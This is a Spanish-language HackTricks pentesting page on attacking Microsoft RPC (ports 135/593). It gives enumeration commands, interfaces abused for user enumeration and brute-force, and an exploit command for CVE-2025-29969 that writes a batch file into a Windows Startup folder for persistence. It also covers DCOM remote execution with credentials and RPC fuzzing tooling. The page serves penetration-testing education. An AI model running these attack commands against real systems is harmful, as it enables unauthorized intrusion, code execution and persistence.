135, 593 - Pentesting MSRPC

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Información básica

El protocolo Microsoft Remote Procedure Call (MSRPC), un modelo cliente-servidor que permite a un programa solicitar un servicio a otro programa ubicado en otro equipo sin conocer los detalles de la red, se derivó inicialmente de software de código abierto y más tarde fue desarrollado y registrado por Microsoft.

El RPC endpoint mapper puede accederse a través de los puertos TCP y UDP 135, SMB en TCP 139 y 445 (con una null or authenticated session), y como un servicio web en el puerto TCP 593.

135/tcp   open     msrpc         Microsoft Windows RPC

¿Cómo funciona MSRPC?

Iniciado por la aplicación cliente, el proceso MSRPC implica llamar a un procedimiento stub local que luego interactúa con la biblioteca de tiempo de ejecución del cliente para preparar y transmitir la solicitud al servidor. Esto incluye convertir los parámetros a un formato estándar Network Data Representation. La elección del protocolo de transporte la determina la biblioteca de tiempo de ejecución si el servidor está remoto, asegurando que el RPC se entregue a través de la pila de red.

https://0xffsec.com/handbook/images/msrpc.png

Identificando servicios RPC expuestos

La exposición de servicios RPC a través de TCP, UDP, HTTP y SMB puede determinarse consultando el servicio localizador RPC y los endpoints individuales. Herramientas como rpcdump facilitan la identificación de servicios RPC únicos, denotados por valores IFID, revelando detalles del servicio y los enlaces de comunicación:

D:\rpctools> rpcdump [-p port] <IP>
**IFID**: 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc version 1.0
Annotation: Messenger Service
UUID: 00000000-0000-0000-0000-000000000000
Binding: ncadg_ip_udp:<IP>[1028]

El acceso al servicio RPC locator se habilita a través de protocolos específicos: ncacn_ip_tcp y ncadg_ip_udp para el acceso vía el puerto 135, ncacn_np para conexiones SMB, y ncacn_http para la comunicación RPC basada en web. Los siguientes comandos ejemplifican la utilización de los módulos de Metasploit para auditar e interactuar con servicios MSRPC, enfocándose principalmente en el puerto 135:

use auxiliary/scanner/dcerpc/endpoint_mapper
use auxiliary/scanner/dcerpc/hidden
use auxiliary/scanner/dcerpc/management
use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor
rpcdump.py <IP> -p 135

Todas las opciones, excepto tcp_dcerpc_auditor, están específicamente diseñadas para atacar MSRPC en el puerto 135.

Notable RPC interfaces

  • IFID: 12345778-1234-abcd-ef00-0123456789ab
  • Named Pipe: \pipe\lsarpc
  • Descripción: Interfaz LSA, usada para enumerar usuarios.
  • IFID: 3919286a-b10c-11d0-9ba8-00c04fd92ef5
  • Named Pipe: \pipe\lsarpc
  • Descripción: Interfaz LSA Directory Services (DS), usada para enumerar dominios y relaciones de confianza.
  • IFID: 12345778-1234-abcd-ef00-0123456789ac
  • Named Pipe: \pipe\samr
  • Descripción: Interfaz LSA SAMR, usada para acceder a elementos públicos de la base de datos SAM (p. ej., nombres de usuario) y para brute-force de contraseñas de usuarios independientemente de la política de bloqueo de cuentas.
  • IFID: 1ff70682-0a51-30e8-076d-740be8cee98b
  • Named Pipe: \pipe\atsvc
  • Descripción: Task scheduler, usado para ejecutar comandos remotamente.
  • IFID: 338cd001-2244-31f1-aaaa-900038001003
  • Named Pipe: \pipe\winreg
  • Descripción: Remote registry service, usado para acceder y modificar el registro del sistema.
  • IFID: 367abb81-9844-35f1-ad32-98f038001003
  • Named Pipe: \pipe\svcctl
  • Descripción: Service control manager and server services, usado para iniciar y detener servicios de forma remota y ejecutar comandos.
  • IFID: 4b324fc8-1670-01d3-1278-5a47bf6ee188
  • Named Pipe: \pipe\srvsvc
  • Descripción: Service control manager and server services, usado para iniciar y detener servicios de forma remota y ejecutar comandos.
  • IFID: 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57
  • Named Pipe: \pipe\epmapper
  • Descripción: Interfaz DCOM, utilizada para brute-force password grinding y recopilación de información vía WM.

MS-EVEN (EventLog Remoting) primitives

La interfaz RPC MS-EVEN (named pipe \pipe\even) expone operaciones del Eventlog. El análisis de SafeBreach sobre CVE-2025-29969 (EventLog-in) muestra una falla TOCTOU en MS-EVEN que permite a un usuario autenticado con bajos privilegios provocar una escritura remota arbitraria de archivos en el objetivo: contenido elegido por el atacante escrito en una ruta elegida por el atacante sin necesitar privilegios de Administrator para la escritura remota.

Patrón operativo (flujo de trabajo PoC): colocar un EVTX válido junto con tu payload en un recurso compartido SMB, luego explotar una condición de carrera en la lógica de MS-EVEN para que el objetivo recupere el archivo alojado en SMB y lo escriba en la ruta elegida.

impacket-smbserver -smb2support Share /tmp/safebreach

La PoC publicada usa un nombre de recurso compartido SMB codificado (Share), por lo que si lo cambias también debes actualizar el script.

python write_file_remotely.py 192.168.56.102 192.168.56.105 lowuser Test123   "/tmp/safebreach/Sample.evtx" "calc.bat"   "C:\Users\lowuser\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\target.bat"

Una cadena común consiste en colocar un archivo en la carpeta Startup por usuario para persistencia y ejecución en el siguiente inicio de sesión (la ejecución ocurre en el contexto de ese usuario).

Primitiva estilo CreateFile de MS-EVEN para recon

MS-EVEN también expone una primitiva de apertura/creación de archivos (descrita en el PoC como CreateFile) que puede ser utilizada por cualquier usuario autenticado para comprobar si existe un archivo o directorio remoto. Esto es útil para el descubrimiento de software comprobando rutas de instalación comunes (p. ej., C:\Program Files\<Vendor>):

python check_if_exists.py 192.168.56.57 lowuser Password1! "C:\Program Files\Wireshark"

Result:
FILE_EXISTS_AND_IS_DIRECTORY

Identifying IP addresses

Usando https://github.com/mubix/IOXIDResolver, basado en la investigación de Airbus research es posible abusar del método ServerAlive2 dentro de la interfaz IOXIDResolver.

Este método se ha usado para obtener información de la interfaz como la dirección IPv6 de la caja HTB APT. See here for 0xdf APT writeup, it includes an alternative method using rpcmap.py from Impacket with stringbinding (see above).

Executing a RCE with valid credentials

Es posible ejecutar código remoto en una máquina, si están disponibles las credenciales de un usuario válido, usando dcomexec.py del framework impacket.

Remember to try with the different objects available

  • ShellWindows
  • ShellBrowserWindow
  • MMC20

Port 593

El rpcdump.exe de rpctools puede interactuar con este puerto.

Automated Fuzzing of MSRPC Interfaces

Las interfaces MS-RPC exponen una gran y a menudo no documentada superficie de ataque. El módulo PowerShell de código abierto MS-RPC-Fuzzer se basa en NtObjectManager de James Forshaw para crear dinámicamente stubs de cliente RPC a partir de los metadatos de la interfaz que ya están presentes en los binarios de Windows. Una vez que existe un stub, el módulo puede bombardear cada procedimiento con entradas mutadas y registrar el resultado, haciendo posible el reproducible, large-scale fuzzing of RPC endpoints possible without writing a single line of IDL.

1. Inventory the interfaces

# Import the module (download / git clone first)
Import-Module .\MS-RPC-Fuzzer.psm1

# Parse a single binary
Get-RpcServerData -Target "C:\Windows\System32\efssvc.dll" -OutPath .\output

# Or crawl the whole %SystemRoot%\System32 directory
Get-RpcServerData -OutPath .\output

Get-RpcServerData extraerá el UUID, la versión, las cadenas de binding (named-pipe / TCP / HTTP) y prototipos completos de los procedimientos para cada interfaz que encuentre y las almacenará en rpcServerData.json.

2. Ejecuta el fuzzer

'.\output\rpcServerData.json' |
Invoke-RpcFuzzer -OutPath .\output `
-MinStrLen 100  -MaxStrLen 1000 `
-MinIntSize 9999 -MaxIntSize 99999

Relevant options:

  • -MinStrLen / -MaxStrLen – rango de tamaño para las cadenas generadas
  • -MinIntSize / -MaxIntSize – rango de valores para enteros mutados (útil para pruebas de desbordamiento)
  • -Sorted – ejecutar procedimientos en un orden que respeta las dependencias de parámetros de modo que las salidas de una llamada puedan servir como entradas de la siguiente (incrementa drásticamente las rutas alcanzables)

The fuzzer implements 2 strategies:

  1. Default fuzzer – valores primitivos aleatorios + instancias por defecto para tipos complejos
  2. Sorted fuzzer – orden consciente de dependencias (see docs/Procedure dependency design.md)

Every call is written atomically to log.txt; after a crash the last line immediately tells you the offending procedure. The result of each call is also categorised into three JSON files:

  • allowed.json – call succeeded and returned data
  • denied.json – server responded with Access Denied
  • error.json – any other error / crash

3. Visualizar con Neo4j

'.\output\allowed.json' |
Import-DataToNeo4j -Neo4jHost 192.168.56.10:7474 -Neo4jUsername neo4j

Import-DataToNeo4j convierte los artefactos JSON en una estructura de grafo donde:

  • RPC servers, interfaces y procedimientos son nodos
  • Interacciones (ALLOWED, DENIED, ERROR) son relaciones

Las consultas Cypher se pueden usar para detectar rápidamente procedimientos peligrosos o reproducir la cadena exacta de llamadas que precedió a un fallo.

⚠️ El fuzzer es destructivo: espera bloqueos del servicio e incluso BSODs — ejecútalo siempre en una instantánea de VM aislada.

Enumeración automatizada de interfaces y generación dinámica de clientes (NtObjectManager)

El gurú de PowerShell James Forshaw expuso la mayor parte de los internos de RPC de Windows dentro del módulo de código abierto NtObjectManager. Usándolo, puedes convertir cualquier DLL/EXE de servidor RPC en un stub de cliente totalmente funcional en segundos — sin IDL, MIDL ni unmarshalling manual.

# Install the module once
Install-Module NtObjectManager -Force

# Parse every RPC interface exported by the target binary
$rpcinterfaces = Get-RpcServer "C:\Windows\System32\efssvc.dll"
$rpcinterfaces | Format-Table Name,Uuid,Version,Procedures

# Inspect a single procedure (opnum 0)
$rpcinterfaces[0].Procedures[0] | Format-List *

La salida típica expone los tipos de parámetros exactamente como aparecen en MIDL (p. ej. FC_C_WSTRING, FC_LONG, FC_BIND_CONTEXT).

Una vez que conozcas la interfaz, puedes generar un cliente C# listo para compilar:

# Reverse the MS-EFSR (EfsRpc*) interface into C#
Format-RpcClient $rpcinterfaces[0] -Namespace MS_EFSR -OutputPath .\MS_EFSR.cs

Dentro del stub producido encontrarás métodos como:

public int EfsRpcOpenFileRaw(out Marshal.NdrContextHandle ctx, string FileName, int Flags) {
// marshals parameters & calls opnum 0
}

El helper de PowerShell Get-RpcClient puede crear un objeto cliente interactivo para que puedas llamar al procedimiento inmediatamente:

$client = Get-RpcClient $rpcinterfaces[0]
Connect-RpcClient $client -stringbinding 'ncacn_np:127.0.0.1[\\pipe\\efsrpc]' `
-AuthenticationLevel PacketPrivacy `
-AuthenticationType  WinNT  # NTLM auth

# Invoke the procedure → returns an authenticated context handle
$ctx = New-Object Marshal.NdrContextHandle
$client.EfsRpcOpenFileRaw([ref]$ctx, "\\\127.0.0.1\test", 0)

La autenticación (Kerberos / NTLM) y los niveles de cifrado (PacketIntegrity, PacketPrivacy, …) se pueden suministrar directamente mediante el cmdlet Connect-RpcClient – ideal para eludir Security Descriptors que protegen named pipes de alto privilegio.

Context-Aware RPC Fuzzing (MS-RPC-Fuzzer)

El conocimiento estático de interfaces es útil, pero lo que realmente se desea es coverage-guided fuzzing que entienda los context handles y las cadenas complejas de parámetros. El proyecto de código abierto MS-RPC-Fuzzer automatiza exactamente ese flujo de trabajo:

  1. Enumera cada interfaz/procedimiento exportado por el binario objetivo (Get-RpcServer).
  2. Genera clientes dinámicos para cada interfaz (Format-RpcClient).
  3. Aleatoriza los parámetros de entrada (wide strings length, integer ranges, enums) respetando el original NDR type.
  4. Rastrea los context handles devueltos por una llamada para alimentar automáticamente a los procedimientos de seguimiento.
  5. Envía llamadas de alto volumen contra el transporte elegido (ALPC, TCP, HTTP or named pipe).
  6. Registra estados de salida / faults / timeouts y exporta un archivo de importación Neo4j para visualizar interface → procedure → parameter y los crash clusters.

Ejemplo de ejecución (named–pipe target):

Invoke-MSRPCFuzzer -Pipe "\\.\pipe\efsrpc" -Auth NTLM `
-MinLen 1  -MaxLen 0x400 `
-Iterations 100000 `
-OutDir .\results

Una sola out-of-bounds write o excepción inesperada se mostrará inmediatamente con el opnum exacto + fuzzed payload que la desencadenó – un punto de partida perfecto para un exploit proof-of-concept estable.

⚠️ Muchos servicios RPC se ejecutan en procesos que funcionan como NT AUTHORITY\SYSTEM. Cualquier problema de memory-safety aquí suele traducirse en local privilege escalation o (cuando se expone a través de SMB/135) remote code execution.

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks